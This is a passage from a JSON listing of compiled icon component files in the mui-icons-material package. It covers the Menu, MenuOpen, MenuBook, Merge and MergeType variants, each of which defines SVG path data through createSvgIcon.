2.7-.99 4.5-.99M13 12.49v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26V11.9c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.3-4.5.83m4.5 1.84c-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26v-1.52c-.79-.16-1.64-.24-2.5-.24\"\n}, \"1\")], 'MenuBookSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuBookSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v15.5C2.45 20.4 4.55 20 6.5 20s4.05.4 5.5 1.5c1.45-1.1 3.55-1.5 5.5-1.5 1.17 0 2.39.15 3.5.5.75.25 1.4.55 2 1V6c-.6-.45-1.25-.75-2-1m0 13.5c-1.1-.35-2.3-.5-3.5-.5-1.7 0-4.15.65-5.5 1.5V8c1.35-.85 3.8-1.5 5.5-1.5 1.2 0 2.4.15 3.5.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 10.5c.88 0 1.73.09 2.5.26V9.24c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99M13 12.49v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26V11.9c-.79-.15-1.64-.24-2.5-.24-1.7 0-3.24.3-4.5.83m4.5 1.84c-1.7 0-3.24.29-4.5.83v1.66c1.13-.64 2.7-.99 4.5-.99.88 0 1.73.09 2.5.26v-1.52c-.79-.16-1.64-.24-2.5-.24\"\n}, \"1\")], 'MenuBookSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuBookTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1M3 18.5V7c1.1-.35 2.3-.5 3.5-.5 1.34 0 3.13.41 4.5.99v11.5C9.63 18.41 7.84 18 6.5 18c-1.2 0-2.4.15-3.5.5m18 0c-1.1-.35-2.3-.5-3.5-.5-1.34 0-3.13.41-4.5.99V7.49c1.37-.59 3.16-.99 4.5-.99 1.2 0 2.4.15 3.5.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7.49c-1.37-.58-3.16-.99-4.5-.99-1.2 0-2.4.15-3.5.5v11.5c1.1-.35 2.3-.5 3.5-.5 1.34 0 3.13.41 4.5.99z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 10.5c.88 0 1.73.09 2.5.26V9.24c-.79-.15-1.64-.24-2.5-.24-1.28 0-2.46.16-3.5.47v1.57c.99-.35 2.18-.54 3.5-.54m0 2.66c.88 0 1.73.09 2.5.26V11.9c-.79-.15-1.64-.24-2.5-.24-1.28 0-2.46.16-3.5.47v1.57c.99-.34 2.18-.54 3.5-.54m0 2.67c.88 0 1.73.09 2.5.26v-1.52c-.79-.15-1.64-.24-2.5-.24-1.28 0-2.46.16-3.5.47v1.57c.99-.35 2.18-.54 3.5-.54\"\n}, \"2\")], 'MenuBookTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuBookTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c-1.11-.35-2.33-.5-3.5-.5-1.95 0-4.05.4-5.5 1.5-1.45-1.1-3.55-1.5-5.5-1.5S2.45 4.9 1 6v14.65c0 .25.25.5.5.5.1 0 .15-.05.25-.05C3.1 20.45 5.05 20 6.5 20c1.95 0 4.05.4 5.5 1.5 1.35-.85 3.8-1.5 5.5-1.5 1.65 0 3.35.3 4.75 1.05.1.05.15.05.25.05.25 0 .5-.25.5-.5V6c-.6-.45-1.25-.75-2-1M3 18.5V7c1.1-.35 2.3-.5 3.5-.5 1.34 0 3.13.41 4.5.99v11.5C9.63 18.41 7.84 18 6.5 18c-1.2 0-2.4.15-3.5.5m18 0c-1.1-.35-2.3-.5-3.5-.5-1.34 0-3.13.41-4.5.99V7.49c1.37-.59 3.16-.99 4.5-.99 1.2 0 2.4.15 3.5.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7.49c-1.37-.58-3.16-.99-4.5-.99-1.2 0-2.4.15-3.5.5v11.5c1.1-.35 2.3-.5 3.5-.5 1.34 0 3.13.41 4.5.99z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 10.5c.88 0 1.73.09 2.5.26V9.24c-.79-.15-1.64-.24-2.5-.24-1.28 0-2.46.16-3.5.47v1.57c.99-.35 2.18-.54 3.5-.54m0 2.66c.88 0 1.73.09 2.5.26V11.9c-.79-.15-1.64-.24-2.5-.24-1.28 0-2.46.16-3.5.47v1.57c.99-.34 2.18-.54 3.5-.54m0 2.67c.88 0 1.73.09 2.5.26v-1.52c-.79-.15-1.64-.24-2.5-.24-1.28 0-2.46.16-3.5.47v1.57c.99-.35 2.18-.54 3.5-.54\"\n}, \"2\")], 'MenuBookTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOpen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h13v-2H3zm0-5h10v-2H3zm0-7v2h13V6zm18 9.59L17.42 12 21 8.41 19.59 7l-5 5 5 5z\"\n}), 'MenuOpen');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOpen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h13v-2H3zm0-5h10v-2H3zm0-7v2h13V6zm18 9.59L17.42 12 21 8.41 19.59 7l-5 5 5 5z\"\n}), 'MenuOpen');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOpenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h13v-2H3zm0-5h10v-2H3zm0-7v2h13V6zm18 9.59L17.42 12 21 8.41 19.59 7l-5 5 5 5z\"\n}), 'MenuOpenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOpenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h13v-2H3zm0-5h10v-2H3zm0-7v2h13V6zm18 9.59L17.42 12 21 8.41 19.59 7l-5 5 5 5z\"\n}), 'MenuOpenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOpenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h11c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-5h8c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 7c0 .55.45 1 1 1h11c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m17.3 7.88L17.42 12l2.88-2.88c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L15.3 11.3c-.39.39-.39 1.02 0 1.41l3.59 3.59c.39.39 1.02.39 1.41 0 .38-.39.39-1.03 0-1.42\"\n}), 'MenuOpenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOpenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h11c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-5h8c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 7c0 .55.45 1 1 1h11c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m17.3 7.88L17.42 12l2.88-2.88c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L15.3 11.3c-.39.39-.39 1.02 0 1.41l3.59 3.59c.39.39 1.02.39 1.41 0 .38-.39.39-1.03 0-1.42\"\n}), 'MenuOpenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOpenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h13v-2H3zm0-5h10v-2H3zm0-7v2h13V6zm18 9.59L17.42 12 21 8.41 19.59 7l-5 5 5 5z\"\n}), 'MenuOpenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOpenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h13v-2H3zm0-5h10v-2H3zm0-7v2h13V6zm18 9.59L17.42 12 21 8.41 19.59 7l-5 5 5 5z\"\n}), 'MenuOpenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOpenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h13v-2H3zm0-5h10v-2H3zm0-7v2h13V6zm18 9.59L17.42 12 21 8.41 19.59 7l-5 5 5 5z\"\n}), 'MenuOpenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOpenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h13v-2H3zm0-5h10v-2H3zm0-7v2h13V6zm18 9.59L17.42 12 21 8.41 19.59 7l-5 5 5 5z\"\n}), 'MenuOpenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h18v-2H3zm0-5h18v-2H3zm0-7v2h18V6z\"\n}), 'MenuOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h18v-2H3zm0-5h18v-2H3zm0-7v2h18V6z\"\n}), 'MenuOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-5h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 7c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'MenuRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-5h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 7c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'MenuRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h18v-2H3zm0-5h18v-2H3zm0-7v2h18V6z\"\n}), 'MenuSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h18v-2H3zm0-5h18v-2H3zm0-7v2h18V6z\"\n}), 'MenuSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h18v-2H3zm0-5h18v-2H3zm0-7v2h18V6z\"\n}), 'MenuTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MenuTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h18v-2H3zm0-5h18v-2H3zm0-7v2h18V6z\"\n}), 'MenuTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Merge.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.41 21 5 19.59l4.83-4.83c.75-.75 1.17-1.77 1.17-2.83v-5.1L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83v5.1c0 1.06.42 2.08 1.17 2.83L19 19.59 17.59 21 12 15.41z\"\n}), 'Merge');"
  },
  {
    "path": "packages/mui-icons-material/lib/Merge.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.41 21 5 19.59l4.83-4.83c.75-.75 1.17-1.77 1.17-2.83v-5.1L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83v5.1c0 1.06.42 2.08 1.17 2.83L19 19.59 17.59 21 12 15.41z\"\n}), 'Merge');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.41 21 5 19.59l4.83-4.83c.75-.75 1.17-1.77 1.17-2.83v-5.1L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83v5.1c0 1.06.42 2.08 1.17 2.83L19 19.59 17.59 21 12 15.41z\"\n}), 'MergeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.41 21 5 19.59l4.83-4.83c.75-.75 1.17-1.77 1.17-2.83v-5.1L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83v5.1c0 1.06.42 2.08 1.17 2.83L19 19.59 17.59 21 12 15.41z\"\n}), 'MergeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.71 7.71a.996.996 0 0 1 0-1.41l2.59-2.59c.39-.39 1.02-.39 1.41 0L15.3 6.3c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L13 6.83v5.1c0 1.06.42 2.08 1.17 2.83l4.12 4.12c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L12 15.41l-4.88 4.88c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l4.12-4.12c.75-.75 1.17-1.77 1.17-2.83v-5.1l-.88.88c-.39.39-1.02.39-1.41 0\"\n}), 'MergeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.71 7.71a.996.996 0 0 1 0-1.41l2.59-2.59c.39-.39 1.02-.39 1.41 0L15.3 6.3c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L13 6.83v5.1c0 1.06.42 2.08 1.17 2.83l4.12 4.12c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L12 15.41l-4.88 4.88c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l4.12-4.12c.75-.75 1.17-1.77 1.17-2.83v-5.1l-.88.88c-.39.39-1.02.39-1.41 0\"\n}), 'MergeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.41 21 5 19.59l4.83-4.83c.75-.75 1.17-1.77 1.17-2.83v-5.1L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83v5.1c0 1.06.42 2.08 1.17 2.83L19 19.59 17.59 21 12 15.41z\"\n}), 'MergeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.41 21 5 19.59l4.83-4.83c.75-.75 1.17-1.77 1.17-2.83v-5.1L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83v5.1c0 1.06.42 2.08 1.17 2.83L19 19.59 17.59 21 12 15.41z\"\n}), 'MergeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.41 21 5 19.59l4.83-4.83c.75-.75 1.17-1.77 1.17-2.83v-5.1L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83v5.1c0 1.06.42 2.08 1.17 2.83L19 19.59 17.59 21 12 15.41z\"\n}), 'MergeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.41 21 5 19.59l4.83-4.83c.75-.75 1.17-1.77 1.17-2.83v-5.1L9.41 8.41 8 7l4-4 4 4-1.41 1.41L13 6.83v5.1c0 1.06.42 2.08 1.17 2.83L19 19.59 17.59 21 12 15.41z\"\n}), 'MergeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeType.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'MergeType');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeType.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'MergeType');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeTypeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'MergeTypeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeTypeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'MergeTypeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeTypeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.7 19.7c.39-.39.39-1.02 0-1.41l-2.7-2.7L13.59 17l2.7 2.7c.39.39 1.03.39 1.41 0M8.71 8H11v5.59l-4.71 4.7c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.71-4.7c.38-.38.59-.88.59-1.41V8h2.29c.45 0 .67-.54.35-.85l-3.29-3.29c-.2-.2-.51-.2-.71 0L8.35 7.15c-.31.31-.09.85.36.85\"\n}), 'MergeTypeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MergeTypeRounded.mjs",
